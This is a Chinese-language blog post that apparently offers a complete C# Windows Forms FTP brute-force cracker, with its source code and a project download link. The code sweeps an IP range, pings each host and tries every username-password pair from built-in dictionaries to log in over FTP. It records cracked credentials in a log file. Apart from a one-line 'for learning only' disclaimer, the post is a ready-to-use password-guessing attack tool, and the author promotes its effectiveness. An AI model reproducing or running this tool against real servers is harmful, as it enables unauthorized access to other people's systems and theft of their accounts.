在這之前,我必須要聲明的是,代碼僅供學習參考使用,以此代碼發生的后果,請自己負責。
先來張爆破成功的圖:

首先,創建一個Windows應用程序,引入一個FTP操作類,代碼如下:
View Code
using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Text; using System.Text.RegularExpressions; using System.Collections; namespace System { /// <summary> /// FTP類 /// </summary> public class FTP { #region 變量聲明 /// <summary> /// 服務器連接地址 /// </summary> public string server; /// <summary> /// 登陸帳號 /// </summary> public string user; /// <summary> /// 登陸口令 /// </summary> public string pass; /// <summary> /// 端口號 /// </summary> public int port; /// <summary> /// 無響應時間(FTP在指定時間內無響應) /// </summary> public int timeout; /// <summary> /// 服務器錯誤狀態信息 /// </summary> public string errormessage; /// <summary> /// 服務器狀態返回信息 /// </summary> private string messages; /// <summary> /// 服務器的響應信息 /// </summary> private string responseStr; /// <summary> /// 鏈接模式(主動或被動,默認為被動) /// </summary> private bool passive_mode; /// <summary> /// 上傳或下載信息字節數 /// </summary> private long bytes_total; /// <summary> /// 上傳或下載的文件大小 /// </summary> private long file_size; /// <summary> /// 主套接字 /// </summary> private Socket main_sock; /// <summary> /// 要鏈接的網絡地址終結點 /// </summary> private IPEndPoint main_ipEndPoint; /// <summary> /// 偵聽套接字 /// </summary> private Socket listening_sock; /// <summary> /// 數據套接字 /// </summary> private Socket data_sock; /// <summary> /// 要鏈接的網絡數據地址終結點 /// </summary> private IPEndPoint data_ipEndPoint; /// <summary> /// 用於上傳或下載的文件流對象 /// </summary> private FileStream file; /// <summary> /// 與FTP服務器交互的狀態值 /// </summary> private int response; /// <summary> /// 讀取並保存當前命令執行后從FTP服務器端返回的數據信息 /// </summary> private string bucket; /// <summary> /// 默認byte數組長度 /// </summary> private int byteLength = 512; #endregion #region 構造函數 /// <summary> /// 構造函數 /// </summary> public FTP() { server = null; user = null; pass = null; port = 21; passive_mode = true; main_sock = null; main_ipEndPoint = null; listening_sock = null; data_sock = null; data_ipEndPoint = null; file = null; bucket = ""; bytes_total = 0; timeout = 10000; //無響應時間為10秒 messages = ""; errormessage = ""; } /// <summary> /// 構造函數 /// </summary> /// <param name="server">服務器IP或名稱</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> public FTP(string server, string user, string pass) { this.server = server; this.user = user; this.pass = pass; port = 21; passive_mode = true; main_sock = null; main_ipEndPoint = null; listening_sock = null; data_sock = null; data_ipEndPoint = null; file = null; bucket = ""; bytes_total = 0; timeout = 10000; //無響應時間為10秒 messages = ""; errormessage = ""; } /// <summary> /// 構造函數 /// </summary> /// <param name="server">服務器IP或名稱</param> /// <param name="port">端口號</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> public FTP(string server, int port, string user, string pass) { this.server = server; this.user = user; this.pass = pass; this.port = port; passive_mode = true; main_sock = null; main_ipEndPoint = null; listening_sock = null; data_sock = null; data_ipEndPoint = null; file = null; bucket = ""; bytes_total = 0; timeout = 10000; //無響應時間為10秒 messages = ""; errormessage = ""; } /// <summary> /// 構造函數 /// </summary> /// <param name="server">服務器IP或名稱</param> /// <param name="port">端口號</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> /// <param name="mode">鏈接方式</param> public FTP(string server, int port, string user, string pass, int mode) { this.server = server; this.user = user; this.pass = pass; this.port = port; passive_mode = mode <= 1 ? true : false; main_sock = null; main_ipEndPoint = null; listening_sock = null; data_sock = null; data_ipEndPoint = null; file = null; bucket = ""; bytes_total = 0; this.timeout = 10000; //無響應時間為10秒 messages = ""; errormessage = ""; } /// <summary> /// 構造函數 /// </summary> /// <param name="server">服務器IP或名稱</param> /// <param name="port">端口號</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> /// <param name="mode">鏈接方式</param> /// <param name="timeout">無響應時間(限時),單位:秒 (小於或等於0為不受時間限制)</param> public FTP(string server, int port, string user, string pass, int mode, int timeout_sec) { this.server = server; this.user = user; this.pass = pass; this.port = port; passive_mode = mode <= 1 ? true : false; main_sock = null; main_ipEndPoint = null; listening_sock = null; data_sock = null; data_ipEndPoint = null; file = null; bucket = ""; bytes_total = 0; this.timeout = (timeout_sec <= 0) ? int.MaxValue : (timeout_sec * 1000); //無響應時間 messages = ""; errormessage = ""; } #endregion #region 屬性 /// <summary> /// 當前是否已連接 /// </summary> public bool IsConnected { get { if (main_sock != null) return main_sock.Connected; return false; } } /// <summary> /// 當message緩沖區有數據則返回 /// </summary> public bool MessagesAvailable { get { if (messages.Length > 0) return true; return false; } } /// <summary> /// 獲取服務器狀態返回信息, 並清空messages變量 /// </summary> public string Messages { get { string tmp = messages; messages = ""; return tmp; } } /// <summary> /// 最新指令發出后服務器的響應 /// </summary> public string ResponseString { get { return responseStr; } } /// <summary> ///在一次傳輸中,發送或接收的字節數 /// </summary> public long BytesTotal { get { return bytes_total; } } /// <summary> ///被下載或上傳的文件大小,當文件大小無效時為0 /// </summary> public long FileSize { get { return file_size; } } /// <summary> /// 鏈接模式: /// true 被動模式 [默認] /// false: 主動模式 /// </summary> public bool PassiveMode { get { return passive_mode; } set { passive_mode = value; } } #endregion #region 操作 /// <summary> /// 操作失敗 /// </summary> private void Fail() { Disconnect(); errormessage += responseStr; //throw new Exception(responseStr); } private void SetBinaryMode(bool mode) { if (mode) SendCommand("TYPE I"); else SendCommand("TYPE A"); ReadResponse(); if (response != 200) Fail(); } private void SendCommand(string command) { Byte[] cmd = Encoding.ASCII.GetBytes((command + "\r\n").ToCharArray()); if (command.Length > 3 && command.Substring(0, 4) == "PASS") { messages = "\rPASS xxx"; } else { messages = "\r" + command; } try { main_sock.Send(cmd, cmd.Length, 0); } catch (Exception ex) { try { Disconnect(); errormessage += ex.Message; return; } catch { main_sock.Close(); file.Close(); main_sock = null; main_ipEndPoint = null; file = null; } } } private void FillBucket() { Byte[] bytes = new Byte[byteLength]; long bytesgot; int msecs_passed = 0; while (main_sock != null && main_sock.Available < 1) { System.Threading.Thread.Sleep(50); msecs_passed += 50; //當等待時間到,則斷開鏈接 if (msecs_passed > timeout) { Disconnect(); errormessage += "Timed out waiting on server to respond."; return; } } while (main_sock != null && main_sock.Available > 0) { bytesgot = main_sock.Receive(bytes, byteLength, 0); bucket += Encoding.ASCII.GetString(bytes, 0, (int)bytesgot); System.Threading.Thread.Sleep(50); } } private string GetLineFromBucket() { int i; string buf = ""; if ((i = bucket.IndexOf('\n')) < 0) { while (i < 0) { FillBucket(); i = bucket.IndexOf('\n'); } } buf = bucket.Substring(0, i); bucket = bucket.Substring(i + 1); return buf; } /// <summary> /// 返回服務器端返回信息 /// </summary> private void ReadResponse() { string buf; messages = ""; while (true) { buf = GetLineFromBucket(); if (Regex.Match(buf, "^[0-9]+ ").Success) { responseStr = buf; response = int.Parse(buf.Substring(0, 3)); break; } else messages += Regex.Replace(buf, "^[0-9]+-", "") + "\n"; } } /// <summary> /// 打開數據套接字 /// </summary> private void OpenDataSocket() { if (passive_mode) { string[] pasv; string server; int port; Connect(); SendCommand("PASV"); ReadResponse(); if (response != 227) Fail(); try { int i1, i2; i1 = responseStr.IndexOf('(') + 1; i2 = responseStr.IndexOf(')') - i1; pasv = responseStr.Substring(i1, i2).Split(','); } catch (Exception) { Disconnect(); errormessage += "Malformed PASV response: " + responseStr; return ; } if (pasv.Length < 6) { Disconnect(); errormessage += "Malformed PASV response: " + responseStr; return ; } server = String.Format("{0}.{1}.{2}.{3}", pasv[0], pasv[1], pasv[2], pasv[3]); port = (int.Parse(pasv[4]) << 8) + int.Parse(pasv[5]); try { CloseDataSocket(); data_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); //#if NET1 // data_ipEndPoint = new IPEndPoint(Dns.GetHostByName(server).AddressList[0], port); //#else // data_ipEndPoint = new IPEndPoint(System.Net.Dns.GetHostEntry(server).AddressList[0], port); //#endif data_sock.Connect(server, port);//data_ipEndPoint); } catch (Exception ex) { errormessage += "Failed to connect for data transfer: " + ex.Message; return ; } } else { Connect(); try { CloseDataSocket(); listening_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // 對於端口,則發送IP地址.下面則提取相應信息 string sLocAddr = main_sock.LocalEndPoint.ToString(); int ix = sLocAddr.IndexOf(':'); if (ix < 0) { errormessage += "Failed to parse the local address: " + sLocAddr; return; } string sIPAddr = sLocAddr.Substring(0, ix); // 系統自動綁定一個端口號(設置 port = 0) System.Net.IPEndPoint localEP = new IPEndPoint(System.Net.IPAddress.Parse(sIPAddr), 0); listening_sock.Bind(localEP); sLocAddr = listening_sock.LocalEndPoint.ToString(); ix = sLocAddr.IndexOf(':'); if (ix < 0) { errormessage += "Failed to parse the local address: " + sLocAddr; } int nPort = int.Parse(sLocAddr.Substring(ix + 1)); // 開始偵聽鏈接請求 listening_sock.Listen(1); string sPortCmd = string.Format("PORT {0},{1},{2}", sIPAddr.Replace('.', ','), nPort / 256, nPort % 256); SendCommand(sPortCmd); ReadResponse(); if (response != 200) Fail(); } catch (Exception ex) { errormessage += "Failed to connect for data transfer: " + ex.Message; return; } } } private void ConnectDataSocket() { if (data_sock != null) // 已鏈接 return; try { data_sock = listening_sock.Accept(); // Accept is blocking listening_sock.Close(); listening_sock = null; if (data_sock == null) { throw new Exception("Winsock error: " + Convert.ToString(System.Runtime.InteropServices.Marshal.GetLastWin32Error())); } } catch (Exception ex) { errormessage += "Failed to connect for data transfer: " + ex.Message; } } private void CloseDataSocket() { if (data_sock != null) { if (data_sock.Connected) { data_sock.Close(); } data_sock = null; } data_ipEndPoint = null; } /// <summary> /// 關閉所有鏈接 /// </summary> public void Disconnect() { CloseDataSocket(); if (main_sock != null) { if (main_sock.Connected) { SendCommand("QUIT"); main_sock.Close(); } main_sock = null; } if (file != null) file.Close(); main_ipEndPoint = null; file = null; } /// <summary> /// 鏈接到FTP服務器 /// </summary> /// <param name="server">要鏈接的IP地址或主機名</param> /// <param name="port">端口號</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> public void Connect(string server, int port, string user, string pass) { this.server = server; this.user = user; this.pass = pass; this.port = port; Connect(); } /// <summary> /// 鏈接到FTP服務器 /// </summary> /// <param name="server">要鏈接的IP地址或主機名</param> /// <param name="user">登陸帳號</param> /// <param name="pass">登陸口令</param> public void Connect(string server, string user, string pass) { this.server = server; this.user = user; this.pass = pass; Connect(); } /// <summary> /// 鏈接到FTP服務器 /// </summary> public bool Connect() { if (server == null) { errormessage += "No server has been set.\r\n"; } if (user == null) { errormessage += "No server has been set.\r\n"; } if (main_sock != null) if (main_sock.Connected) return true; try { main_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); //#if NET1 // //main_ipEndPoint = new IPEndPoint(Dns.GetHostByName(server).AddressList[0], port); //#else // //main_ipEndPoint = new IPEndPoint(System.Net.Dns.GetHostEntry(server).AddressList[0], port); //#endif main_sock.Connect(server, port);//main_ipEndPoint); } catch (Exception ex) { errormessage += ex.Message; return false; } ReadResponse(); if (response != 220) Fail(); SendCommand("USER " + user); ReadResponse(); switch (response) { case 331: if (pass == null) { Disconnect(); errormessage += "No password has been set."; return false; } SendCommand("PASS " + pass); ReadResponse(); if (response != 230) { Fail(); return false; } break; case 230: break; } return true; } /// <summary> /// 獲取FTP當前(工作)目錄下的文件列表 /// </summary> /// <returns>返回文件列表數組</returns> public ArrayList List() { Byte[] bytes = new Byte[byteLength]; string file_list = ""; long bytesgot = 0; int msecs_passed = 0; ArrayList list = new ArrayList(); Connect(); OpenDataSocket(); SendCommand("LIST"); ReadResponse(); switch (response) { case 125: case 150: break; default: CloseDataSocket(); throw new Exception(responseStr); } ConnectDataSocket(); while (data_sock.Available < 1) { System.Threading.Thread.Sleep(50); msecs_passed += 50; if (msecs_passed > (timeout / 10)) { break; } } while (data_sock.Available > 0) { bytesgot = data_sock.Receive(bytes, bytes.Length, 0); file_list += Encoding.ASCII.GetString(bytes, 0, (int)bytesgot); System.Threading.Thread.Sleep(50); } CloseDataSocket(); ReadResponse(); if (response != 226) throw new Exception(responseStr); foreach (string f in file_list.Split('\n')) { if (f.Length > 0 && !Regex.Match(f, "^total").Success) list.Add(f.Substring(0, f.Length - 1)); } return list; } /// <summary> /// 獲取到文件名列表 /// </summary> /// <returns>返回文件名列表</returns> public ArrayList ListFiles() { ArrayList list = new ArrayList(); foreach (string f in List()) { if ((f.Length > 0)) { if ((f[0] != 'd') && (f.ToUpper().IndexOf("<DIR>") < 0)) list.Add(f); } } return list; } /// <summary> /// 獲取路徑列表 /// </summary> /// <returns>返回路徑列表</returns> public ArrayList ListDirectories() { ArrayList list = new ArrayList(); foreach (string f in List()) { if (f.Length > 0) { if ((f[0] == 'd') || (f.ToUpper().IndexOf("<DIR>") >= 0)) list.Add(f); } } return list; } /// <summary> /// 獲取原始數據信息. /// </summary> /// <param name="fileName">遠程文件名</param> /// <returns>返回原始數據信息.</returns> public string GetFileDateRaw(string fileName) { Connect(); SendCommand("MDTM " + fileName); ReadResponse(); if (response != 213) { errormessage += responseStr; return ""; } return (this.responseStr.Substring(4)); } /// <summary> /// 得到文件日期. /// </summary> /// <param name="fileName">遠程文件名</param> /// <returns>返回遠程文件日期</returns> public DateTime GetFileDate(string fileName) { return ConvertFTPDateToDateTime(GetFileDateRaw(fileName)); } private DateTime ConvertFTPDateToDateTime(string input) { if (input.Length < 14) throw new ArgumentException("Input Value for ConvertFTPDateToDateTime method was too short."); //YYYYMMDDhhmmss": int year = Convert.ToInt16(input.Substring(0, 4)); int month = Convert.ToInt16(input.Substring(4, 2)); int day = Convert.ToInt16(input.Substring(6, 2)); int hour = Convert.ToInt16(input.Substring(8, 2)); int min = Convert.ToInt16(input.Substring(10, 2)); int sec = Convert.ToInt16(input.Substring(12, 2)); return new DateTime(year, month, day, hour, min, sec); } /// <summary> /// 獲取FTP上的當前(工作)路徑 /// </summary> /// <returns>返回FTP上的當前(工作)路徑</returns> public string GetWorkingDirectory() { //PWD - 顯示工作路徑 Connect(); SendCommand("PWD"); ReadResponse(); if (response != 257) { errormessage += responseStr; } string pwd; try { pwd = responseStr.Substring(responseStr.IndexOf("\"", 0) + 1);//5); pwd = pwd.Substring(0, pwd.LastIndexOf("\"")); pwd = pwd.Replace("\"\"", "\""); // 替換帶引號的路徑信息符號 } catch (Exception ex) { errormessage += ex.Message; return null; } return pwd; } /// <summary> /// 跳轉服務器上的當前(工作)路徑 /// </summary> /// <param name="path">要跳轉的路徑</param> public bool ChangeDir(string path) { Connect(); SendCommand("CWD " + path); ReadResponse(); if (response != 250) { errormessage += responseStr; return false; } return true; } /// <summary> /// 創建指定的目錄 /// </summary> /// <param name="dir">要創建的目錄</param> public void MakeDir(string dir) { Connect(); SendCommand("MKD " + dir); ReadResponse(); switch (response) { case 257: case 250: break; default: { errormessage += responseStr; break; } } } /// <summary> /// 移除FTP上的指定目錄 /// </summary> /// <param name="dir">要移除的目錄</param> public void RemoveDir(string dir) { Connect(); SendCommand("RMD " + dir); ReadResponse(); if (response != 250) { errormessage += responseStr; return; ; } } /// <summary> /// 移除FTP上的指定文件 /// </summary> /// <param name="filename">要移除的文件名稱</param> public void RemoveFile(string filename) { Connect(); SendCommand("DELE " + filename); ReadResponse(); if (response != 250) { errormessage += responseStr; } } /// <summary> /// 重命名FTP上的文件 /// </summary> /// <param name="oldfilename">原文件名</param> /// <param name="newfilename">新文件名</param> public void RenameFile(string oldfilename, string newfilename) { Connect(); SendCommand("RNFR " + oldfilename); ReadResponse(); if (response != 350) { errormessage += responseStr; } else { SendCommand("RNTO " + newfilename); ReadResponse(); if (response != 250) { errormessage += responseStr; } } } /// <summary> /// 獲得指定文件的大小(如果FTP支持) /// </summary> /// <param name="filename">指定的文件</param> /// <returns>返回指定文件的大小</returns> public long GetFileSize(string filename) { Connect(); SendCommand("SIZE " + filename); ReadResponse(); if (response != 213) { errormessage += responseStr; } return Int64.Parse(responseStr.Substring(4)); } /// <summary> /// 上傳指定的文件 /// </summary> /// <param name="filename">要上傳的文件</param> public bool OpenUpload(string filename) { return OpenUpload(filename, filename, false); } /// <summary> /// 上傳指定的文件 /// </summary> /// <param name="filename">本地文件名</param> /// <param name="remotefilename">遠程要覆蓋的文件名</param> public bool OpenUpload(string filename, string remotefilename) { return OpenUpload(filename, remotefilename, false); } /// <summary> /// 上傳指定的文件 /// </summary> /// <param name="filename">本地文件名</param> /// <param name="resume">如果存在,則嘗試恢復</param> public bool OpenUpload(string filename, bool resume) { return OpenUpload(filename, filename, resume); } /// <summary> /// 上傳指定的文件 /// </summary> /// <param name="filename">本地文件名</param> /// <param name="remote_filename">遠程要覆蓋的文件名</param> /// <param name="resume">如果存在,則嘗試恢復</param> public bool OpenUpload(string filename, string remote_filename, bool resume) { Connect(); SetBinaryMode(true); OpenDataSocket(); bytes_total = 0; try { file = new FileStream(filename, FileMode.Open); } catch (Exception ex) { file = null; errormessage += ex.Message; return false; } file_size = file.Length; if (resume) { long size = GetFileSize(remote_filename); SendCommand("REST " + size); ReadResponse(); if (response == 350) file.Seek(size, SeekOrigin.Begin); } SendCommand("STOR " + remote_filename); ReadResponse(); switch (response) { case 125: case 150: break; default: file.Close(); file = null; errormessage += responseStr; return false; } ConnectDataSocket(); return true; } /// <summary> /// 下載指定文件 /// </summary> /// <param name="filename">遠程文件名稱</param> public void OpenDownload(string filename) { OpenDownload(filename, filename, false); } /// <summary> /// 下載並恢復指定文件 /// </summary> /// <param name="filename">遠程文件名稱</param> /// <param name="resume">如文件存在,則嘗試恢復</param> public void OpenDownload(string filename, bool resume) { OpenDownload(filename, filename, resume); } /// <summary> /// 下載指定文件 /// </summary> /// <param name="filename">遠程文件名稱</param> /// <param name="localfilename">本地文件名</param> public void OpenDownload(string remote_filename, string localfilename) { OpenDownload(remote_filename, localfilename, false); } /// <summary> /// 打開並下載文件 /// </summary> /// <param name="remote_filename">遠程文件名稱</param> /// <param name="local_filename">本地文件名</param> /// <param name="resume">如果文件存在則恢復</param> public void OpenDownload(string remote_filename, string local_filename, bool resume) { Connect(); SetBinaryMode(true); bytes_total = 0; try { file_size = GetFileSize(remote_filename); } catch { file_size = 0; } if (resume && File.Exists(local_filename)) { try { file = new FileStream(local_filename, FileMode.Open); } catch (Exception ex) { file = null; throw new Exception(ex.Message); } SendCommand("REST " + file.Length); ReadResponse(); if (response != 350) throw new Exception(responseStr); file.Seek(file.Length, SeekOrigin.Begin); bytes_total = file.Length; } else { try { file = new FileStream(local_filename, FileMode.Create); } catch (Exception ex) { file = null; throw new Exception(ex.Message); } } OpenDataSocket(); SendCommand("RETR " + remote_filename); ReadResponse(); switch (response) { case 125: case 150: break; default: file.Close(); file = null; errormessage += responseStr; return; } ConnectDataSocket(); return; } /// <summary> /// 上傳文件(循環調用直到上傳完畢) /// </summary> /// <returns>發送的字節數</returns> public long DoUpload() { Byte[] bytes = new Byte[byteLength]; long bytes_got; try { bytes_got = file.Read(bytes, 0, bytes.Length); bytes_total += bytes_got; data_sock.Send(bytes, (int)bytes_got, 0); if (bytes_got <= 0) { //上傳完畢或有錯誤發生 file.Close(); file = null; CloseDataSocket(); ReadResponse(); switch (response) { case 226: case 250: break; default: //當上傳中斷時 { errormessage += responseStr; return -1; } } SetBinaryMode(false); } } catch (Exception ex) { file.Close(); file = null; CloseDataSocket(); ReadResponse(); SetBinaryMode(false); //throw ex; //當上傳中斷時 errormessage += ex.Message; return -1; } return bytes_got; } /// <summary> /// 下載文件(循環調用直到下載完畢) /// </summary> /// <returns>接收到的字節點</returns> public long DoDownload() { Byte[] bytes = new Byte[byteLength]; long bytes_got; try { bytes_got = data_sock.Receive(bytes, bytes.Length, 0); if (bytes_got <= 0) { //下載完畢或有錯誤發生 CloseDataSocket(); file.Close(); file = null; ReadResponse(); switch (response) { case 226: case 250: break; default: { errormessage += responseStr; return -1; } } SetBinaryMode(false); return bytes_got; } file.Write(bytes, 0, (int)bytes_got); bytes_total += bytes_got; } catch (Exception ex) { CloseDataSocket(); file.Close(); file = null; ReadResponse(); SetBinaryMode(false); //throw ex; //當下載中斷時 errormessage += ex.Message; return -1; } return bytes_got; } #endregion } }
我的界面設計是這樣的:

開始IP段和結束IP段后面的是自己寫的IPAddress控件,需要的話,可以發郵件獲取:admin@mrhuo.com
功能面板部分功能暫時沒做,想要自己完善的文章后面會提供項目文件下載地址。
以下是form的代碼:
View Code
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Threading; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; using System.IO; namespace CrackFtp { public partial class frmMain : Form,IDisposable { String StaticTitle = "FTP暴力破解器 - CodeBy:MrHuo.com"; public frmMain() { InitializeComponent(); CheckForIllegalCrossThreadCalls = false; Application.DoEvents(); } private void Form1_Load(object sender, EventArgs e) { ipAddress1.Text = "192.168.1.1"; ipAddress2.Text = "192.168.1.255"; txtPort.Text = "25"; this.Text = StaticTitle + " 程序准備就緒."; Application.DoEvents(); } bool IsRuning = false; System.Net.IPAddress IPStart = null; System.Net.IPAddress IPEnd = null; Func<String, ConnectionState> _scan = null; Func<ScanArgs, Boolean> _CrackIP = null; ConnectionState ScanIP(String ip) { Application.DoEvents(); Boolean connectCurrentIPSeccess = false; ConnectionState state = ConnectionState.Closed; try { Ping ping = new Ping(); PingReply reply = ping.Send(System.Net.IPAddress.Parse(ip.Trim()), 5000); connectCurrentIPSeccess = reply.Status == IPStatus.Success; if (connectCurrentIPSeccess) { state = ConnectionState.Connecting; foreach (String u in Properties.Resources.dic_User.Split(',')) { foreach (String p in Properties.Resources.dic_Password.Split(',')) { _CrackIP.BeginInvoke( new ScanArgs() { IP = ip.Trim(), UserName = u.Trim(), Password = p.Trim(), Port = Convert.ToInt32(txtPort.Text.Trim()) }, (ar) => { if (_CrackIP.EndInvoke(ar)) { PrintLog(String.Format("破解IP【{0}】成功!用戶名:{1},密碼:{2}", ip.Trim(), u.Trim(), p.Trim())); AddCorrectRecordToList(ip.Trim(), u.Trim(), p.Trim()); } else { //PrintLog(String.Format("破解IP【{0}】未成功!當前嘗試用戶名:{1},當前嘗試密碼:{2}", ip.Trim(), u.Trim(), p.Trim())); } }, null); } } } else { state = ConnectionState.Broken; } } catch { state = ConnectionState.Broken; } return state; } Boolean CrackIP(ScanArgs args) { Application.DoEvents(); try { FTP ftp = new FTP(args.IP, args.UserName, args.Password); this.Text = StaticTitle + String.Format(" Cracking...Ip:{0},User:{1},Pass:{2}", args.IP, args.UserName, args.Password); ftp.Connect(); if (ftp.IsConnected) { return true; } else { return false; } } catch { return false; } } private void button1_Click(object sender, EventArgs e) { if (!IsRuning) { if (ipAddress1.Text == "..." || ipAddress2.Text == "...") { MessageBox.Show("請輸入正確的IP地址!", "提示"); return; } if (!System.Net.IPAddress.TryParse(ipAddress1.Text, out IPStart)) { MessageBox.Show("請輸入正確的IP地址!", "提示"); return; } else if (!System.Net.IPAddress.TryParse(ipAddress2.Text, out IPEnd)) { MessageBox.Show("請輸入正確的IP地址!", "提示"); return; } else { if (IP2Int64(IPStart.ToString()) <= IP2Int64(IPEnd.ToString())) { button1.Text = "停止掃描"; IsRuning = true; SetDisabled(); Scaner(); } else { MessageBox.Show("IP段開始地址不能大於IP段結束地址!"); } } } else { button1.Text = "開始掃描"; IsRuning = false; SetDisabled(); } } private void Scaner() { if (_scan == null) { _scan = new Func<string, ConnectionState>(ScanIP); } if (_CrackIP == null) { _CrackIP = new Func<ScanArgs, bool>(CrackIP); } for (long ips = IP2Int64(IPStart.ToString()); ips <= IP2Int64(IPEnd.ToString()); ips++) { Application.DoEvents(); IAsyncResult ix = _scan.BeginInvoke(Int642IP(ips), new AsyncCallback(CallBack), Int642IP(ips)); } IsRuning = false; SetDisabled(); } /// <summary> /// 掃描完成之后執行的回調函數 /// </summary> /// <param name="ar"></param> void CallBack(IAsyncResult ar) { Application.DoEvents(); if (ar.IsCompleted) { try { if (_scan.EndInvoke(ar) == ConnectionState.Broken) { //PrintLog("連接到【" + ar.AsyncState.ToString() + "】失敗!網絡可能無法訪問!"); } else { PrintLog("連接到【" + ar.AsyncState.ToString() + "】成功!正在爆破中。。。"); } } catch (Exception ex) { PrintLog("連接到【" + ar.AsyncState.ToString() + "】失敗!可能的原因是:" + ex.Message.Trim()); } } } void SetDisabled() { if (IsRuning) { ipAddress1.Enabled = ipAddress2.Enabled = txtPort.Enabled = false; } else { ipAddress1.Enabled = ipAddress2.Enabled = txtPort.Enabled = true; } } /// <summary> /// 輸出操作 /// </summary> /// <param name="log"></param> void PrintLog(String log) { try { this.txtLogs.Text += DateTime.Now + ":" + log + "\r\n"; this.txtLogs.SelectAll(); this.txtLogs.ScrollToCaret(); } finally { //this.txtLogs.ScrollToCaret(); } } void AddCorrectRecordToList(String IP, String UserName, String Password) { String server = String.Format("IP:{0},User:{1},Pass:{2}", IP, UserName, Password); listCorrectRecord.Items.Add(server); File.AppendAllText("C:\\ScanLog.log", server + "\r\n"); } /// <summary> /// 將127.0.0.1格式的IP地址轉換成long /// </summary> /// <param name="strIp"></param> /// <returns></returns> private long IP2Int64(String strIp) { if (!String.IsNullOrEmpty(strIp)) { long[] retip = new long[4]; // 先找到IP地址字符串中.的位置 String[] retips = strIp.Split('.'); // 將每個.之間的字符串轉換成整型 retip[0] = Convert.ToInt64(retips[0]); retip[1] = Convert.ToInt64(retips[1]); retip[2] = Convert.ToInt64(retips[2]); retip[3] = Convert.ToInt64(retips[3]); return (retip[0] << 24) + (retip[1] << 16) + (retip[2] << 8) + retip[3]; } else { return 0; } } // 將十進制整數形式轉換成127.0.0.1形式的ip地址 private String Int642IP(long longIp) { StringBuilder sb = new StringBuilder(); // 直接右移24位 sb.Append(longIp >> 24); sb.Append("."); // 將高8位置0,然后右移16位 sb.Append((longIp & 0x00FFFFFF) >> 16); sb.Append("."); // 將高16位置0,然后右移8位 sb.Append((longIp & 0x0000FFFF) >> 8); sb.Append("."); // 將高24位置0 sb.Append(longIp & 0x000000FF); return sb.ToString(); } private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { System.Diagnostics.Process.Start("http://www.mrhuo.com"); } } public class ScanArgs { public String IP { get; set; } public String UserName { get; set; } public String Password { get; set; } public Int32 Port { get; set; } } }
主要部分:
Boolean CrackIP(ScanArgs args) { Application.DoEvents(); try { FTP ftp = new FTP(args.IP, args.UserName, args.Password); this.Text = StaticTitle + String.Format(" Cracking...Ip:{0},User:{1},Pass:{2}", args.IP, args.UserName, args.Password); ftp.Connect(); if (ftp.IsConnected) { return true; } else { return false; } } catch { return false; } }
如果連接FTP成功,那么返回True,
技術上,主要用了Func實現異步破解,通過指定的用戶名和密碼字典,暴力破解,速度還可以,只要你的字典夠強大,破解不是問題。
下一個版本准備退出域名級的破解。
再看看這段代碼:
private void Scaner() { if (_scan == null) { _scan = new Func<string, ConnectionState>(ScanIP); } if (_CrackIP == null) { _CrackIP = new Func<ScanArgs, bool>(CrackIP); } for (long ips = IP2Int64(IPStart.ToString()); ips <= IP2Int64(IPEnd.ToString()); ips++) { Application.DoEvents(); IAsyncResult ix = _scan.BeginInvoke(Int642IP(ips), new AsyncCallback(CallBack), Int642IP(ips)); } IsRuning = false; SetDisabled(); }
通過一個內部方法,將開始IP段轉化為長整形數字,循環每個IP,實現暴力破解。
代碼下載地址:下載地址
